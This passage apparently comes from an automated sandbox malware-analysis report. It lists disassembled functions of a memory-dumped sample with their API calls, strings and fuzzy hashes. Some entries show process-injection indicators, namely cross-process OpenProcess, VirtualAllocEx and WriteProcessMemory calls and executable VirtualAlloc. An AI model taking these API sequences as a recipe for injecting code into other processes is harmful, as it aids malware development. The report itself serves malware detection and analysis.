Instruction ID: 5c9e48abfff88132eb1d1fc341b3b09b955c5506b50d2a0358a4abd979217b8a
Opcode Fuzzy Hash: 6bafadca70546116dabdc0d885c43c1ac0d0e0b620acfdf5f734b214f77a4c16
Instruction Fuzzy Hash: B8919E715082059FC724EF24CC86CBEB7A8FF95714F40491DF586A72A1EB24EE44EB92

Function 00F1523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00F152CD

Part of subcall function 00F20320: __87except.LIBCMT ref: 00F2035B

Strings

pow, xrefs: 00F152A5, 00F152C2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 05cb34b05fbb0c6b8032a711cfbdcec032caf15f0d97e39277277c858b3604e2
Instruction ID: 34516ec6115f5241e0f71d71e0c2ec6db0d6207776f5c25de8a6204e9f94a8c7
Opcode Fuzzy Hash: 05cb34b05fbb0c6b8032a711cfbdcec032caf15f0d97e39277277c858b3604e2
Instruction Fuzzy Hash: 83515B63E09605D7CB11F714ED513FA7B909B80B60F308968E4D5862EAEF788CC5BB46

Function 00F10654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00F10690
#, xrefs: 00F10699

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 5793d6b1e0ec46a04acc800e97ef96e168600ba81d981220b2aefde8fd97be11
Instruction ID: 334a0489c0fb063e1c8d48ca069dbb6a79d0d27a8e34f24976616172e761f648
Opcode Fuzzy Hash: 5793d6b1e0ec46a04acc800e97ef96e168600ba81d981220b2aefde8fd97be11
Instruction Fuzzy Hash: 7851E175904255CFDF259F68C880AFA7BA4BF5A320F144055EC91EB2D0DB74AC82EB62

Function 00F0CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F0CFC2
_memmove.LIBCMT ref: 00F0D060
_memset.LIBCMT ref: 00F0D084

Strings

ERCP, xrefs: 00F0CF2D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 1a3a7286374954a65170422add628bea0b143b386b89d27fefeef52cc6fb8af1
Instruction ID: 410db9dd00d237edd7adb50d1e7847c34622090c0e61d4786fc7fde30030f28a
Opcode Fuzzy Hash: 1a3a7286374954a65170422add628bea0b143b386b89d27fefeef52cc6fb8af1
Instruction Fuzzy Hash: D151B4B1E007099BDB34CF64C8817AABBE4EF04324F14856EE84ADB291E774D585EB90

Function 00F4A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F51CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F49E4E,?,?,00000034,00000800,?,00000034), ref: 00F51CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00F4A3F7

Part of subcall function 00F51C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F49E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00F51CB0

Part of subcall function 00F51BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00F51C08
Part of subcall function 00F51BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00F49E12,00000034,?,?,00001004,00000000,00000000), ref: 00F51C18
Part of subcall function 00F51BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00F49E12,00000034,?,?,00001004,00000000,00000000), ref: 00F51C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F4A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F4A4B1

Strings

@, xrefs: 00F4A4C9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 4543784cf0f26cbf2310aa53bc3955e08ded21ad26d5173bfa5eae041943c1fc
Instruction ID: 757a7bd17995c2bfb19bd79728db02f1f3fef4bf1131ea02512b41820905e1c3
Opcode Fuzzy Hash: 4543784cf0f26cbf2310aa53bc3955e08ded21ad26d5173bfa5eae041943c1fc
Instruction Fuzzy Hash: 82416D7294021CBFCB20DBA4CC85BEEBBB8EF45310F004095FA45B7190DA716E89DBA1

Function 00F779FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00F77A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00F77A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00F77ABE

Strings

SysMonthCal32, xrefs: 00F77A51

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b8c53bcb69de737fa6c6a54bf07877753fdb2f64ddbe5e8419e155add5cfbb1f
Instruction ID: fc782c08c68c0f32e5699effd41f90fb69fe821b5418586587e3337f3c628a70
Opcode Fuzzy Hash: b8c53bcb69de737fa6c6a54bf07877753fdb2f64ddbe5e8419e155add5cfbb1f
Instruction Fuzzy Hash: 6A21D33265421CBFEF119F50CC42FEE3B69EF48724F114215FE186B190DA75A854AB90

Function 00F781B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00F7826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00F7827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F78284

Strings

msctls_updown32, xrefs: 00F781E9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 4bb0999f16b18dc7e132e22818ec7370a96b6f974557a1263adcb22acaefb54c
Instruction ID: 03b99bcb7f3dafcefa43cd0d718033fe9223f7a9cd40aa514923ef8766a40f71
Opcode Fuzzy Hash: 4bb0999f16b18dc7e132e22818ec7370a96b6f974557a1263adcb22acaefb54c
Instruction Fuzzy Hash: B6217FB5A04208AFDB00DF54CCC5DA737EDEB4A3A4B14415AFA059B251CB70EC12EBA1

Function 00F772D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00F77360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00F77370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00F77395

Strings

Listbox, xrefs: 00F7732D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 3b6a55a0ddecb97dd3b1875feb3d80a587f033e1a4f6321b5bb60a867856dd38
Instruction ID: 263c62e575b98a025bd301dfe338d9783dca5ab610f5a173ea3d5de2af65f42f
Opcode Fuzzy Hash: 3b6a55a0ddecb97dd3b1875feb3d80a587f033e1a4f6321b5bb60a867856dd38
Instruction Fuzzy Hash: B921F532614208BFDF529F54CC85FBF37AAEF89764F00C125F9149B190DA71AC11ABA0

Function 00F6C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F3027A,?), ref: 00F6C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00F6C6F9

Strings

kernel32.dll, xrefs: 00F6C6E2
GetSystemWow64DirectoryW, xrefs: 00F6C6F3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: c1d65677dc73bade11dacbfcd2cac42d9dbeb266fe4d37cd180d801f1e54b9f8
Instruction ID: 6d2069b0254ae0e99f4f865030db1b912378c72ad9374bceb64de0b11d412e63
Opcode Fuzzy Hash: c1d65677dc73bade11dacbfcd2cac42d9dbeb266fe4d37cd180d801f1e54b9f8
Instruction Fuzzy Hash: D3E0C2B8A007138FD7205B25CC4DBA276D4FF04724BC0842AE8C5C2210DB70C840AF50

Function 00F04BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F04AF7,?), ref: 00F04BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F04BCA

Strings

kernel32.dll, xrefs: 00F04BB3
Wow64RevertWow64FsRedirection, xrefs: 00F04BC4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: bf461c163b3ebf9efb7742efc3b10e3902c90756795b9022bc9a88b2c68453b0
Instruction ID: 8264a52cb3c425a6e18645077b53283d3d51da8fadcf2dd0631c09ff63076461
Opcode Fuzzy Hash: bf461c163b3ebf9efb7742efc3b10e3902c90756795b9022bc9a88b2c68453b0
Instruction Fuzzy Hash: 12D0C7B0800B128FD320AF30DC0CB8672E4AF00360F408C2AD882C2690EE70E880EB12

Function 00F04B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F04B44,?,00F049D4,?,?,00F027AF,?,00000001), ref: 00F04B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F04B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00F04B91
kernel32.dll, xrefs: 00F04B80

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 5f0e9dfa6cd59b331a4f9740987c4b29fe0dcd4cb0cab8bc1ef8e19a69e4be8c
Instruction ID: e45a8e5b3b850d7672357fb4c98b290ec8857971181e0995bb8474f9910d8e8f
Opcode Fuzzy Hash: 5f0e9dfa6cd59b331a4f9740987c4b29fe0dcd4cb0cab8bc1ef8e19a69e4be8c
Instruction Fuzzy Hash: 7FD012B09147128FD7206F31DC1DB56B6D4AF05765F91882AD485D2590DA70E484F751

Function 00F71447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00F71696), ref: 00F71455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00F71467

Strings

RegDeleteKeyExW, xrefs: 00F71461
advapi32.dll, xrefs: 00F71450

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 26ae689053c33b9ed4b4688621255b10feedd6cc3f6d8ec8619f73a09b832401
Instruction ID: eacfc263406e7784db6072053d48934aca0a517b40b69ec57aac39233dc8febf
Opcode Fuzzy Hash: 26ae689053c33b9ed4b4688621255b10feedd6cc3f6d8ec8619f73a09b832401
Instruction Fuzzy Hash: D5D01770910B12CFD7209F79CC0D75676E4AF0B7A5B51C82B94DAD2560EA70D8C8EB92

Function 00F055F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F05E3D), ref: 00F055FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00F05610

Strings

kernel32.dll, xrefs: 00F055F9
GetNativeSystemInfo, xrefs: 00F0560A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 0f8ac9c37f8aaa89fad6f67b3a786374455dc34b75e61e5f057c53b0d09411a5
Instruction ID: c0ccf7e8e19210bdc151134b4ac31df8809bb3ed1ffe50604ead9332343bca40
Opcode Fuzzy Hash: 0f8ac9c37f8aaa89fad6f67b3a786374455dc34b75e61e5f057c53b0d09411a5
Instruction Fuzzy Hash: 2DD0C234810B128FD7605F30C80C29776E4AF00765B85882AD481C2290DAB0C484EB40

Function 00F697CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00F693DE,?,00F80980), ref: 00F697D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00F697EA

Strings

kernel32.dll, xrefs: 00F697D3
GetModuleHandleExW, xrefs: 00F697E4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 5a8023b2b1ff0e3e16477bed433f497bdd001ee829be6815f8f03904e065d5a8
Instruction ID: bc08128492db9e55b8e4eda820b0ff5ac87a06c697c155d1857a8fe0e1f77dd4
Opcode Fuzzy Hash: 5a8023b2b1ff0e3e16477bed433f497bdd001ee829be6815f8f03904e065d5a8
Instruction Fuzzy Hash: 12D012709107138FD7205F31D88D65676D8EF057A1B51882AD485D2250DFB0C484E712

Function 00F47D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 565aae2441dfb9fc51792f258a69ddf0e0ef61fad2dd5fb4006c33c90a2666e4
Instruction ID: 347d242d75876750bf8643dc7129c530687399b1b789754e5e2773186e335926
Opcode Fuzzy Hash: 565aae2441dfb9fc51792f258a69ddf0e0ef61fad2dd5fb4006c33c90a2666e4
Instruction Fuzzy Hash: 0EC18F75A10216EFCB14DF98C884EAEBBB5FF48710B118598EC06DB251DB31ED85EB90

Function 00F6E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00F6E7A7
CharLowerBuffW.USER32(?,?), ref: 00F6E7EA

Part of subcall function 00F6DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00F6DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00F6E9EA
_memmove.LIBCMT ref: 00F6E9FD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: b9f3c00fe1352789f5590915de2eaf5ffe34dd91838e93b420337ce53cf7ad0f
Instruction ID: 234cac3c40487b1cd351a3bc422b91549ef06e3b2320538fb54972c826072d73
Opcode Fuzzy Hash: b9f3c00fe1352789f5590915de2eaf5ffe34dd91838e93b420337ce53cf7ad0f
Instruction Fuzzy Hash: E4C16B76A083019FC714DF28C88096ABBE4FF89714F14896DF8999B351D731E946DB82

Function 00F6877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00F687AD
CoUninitialize.OLE32 ref: 00F687B8

Part of subcall function 00F7DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00F68A0E,?,00000000), ref: 00F7DF71

VariantInit.OLEAUT32(?), ref: 00F687C3
VariantClear.OLEAUT32(?), ref: 00F68A94

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: d172dd05ccdb12d49d8df11a7e2d874a5b84d85811cc9dd1e46e2d09bde82ae5
Instruction ID: b4961de77af8ed0c4c566fb5c4ff8008b241bcfc3b0e0ee8c3d9b612d9c7799c
Opcode Fuzzy Hash: d172dd05ccdb12d49d8df11a7e2d874a5b84d85811cc9dd1e46e2d09bde82ae5
Instruction Fuzzy Hash: B1A17A75604B059FC710DF64C881B2AB7E4BF88360F04894DFA95AB3A2CB34ED45DB92

Function 00F4814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00F83C4C,?), ref: 00F48308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00F83C4C,?), ref: 00F48320
CLSIDFromProgID.OLE32(?,?,00000000,00F80988,000000FF,?,00000000,00000800,00000000,?,00F83C4C,?), ref: 00F48345
_memcmp.LIBCMT ref: 00F48366

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 1886d459d2b279f618e71901546598f6ef2a5e61a55f39acf6a10e23224265e0
Instruction ID: a017741b818d0f5c6ef8b110a8c6d171746de4984a22a5a95be9dbd5807c3604
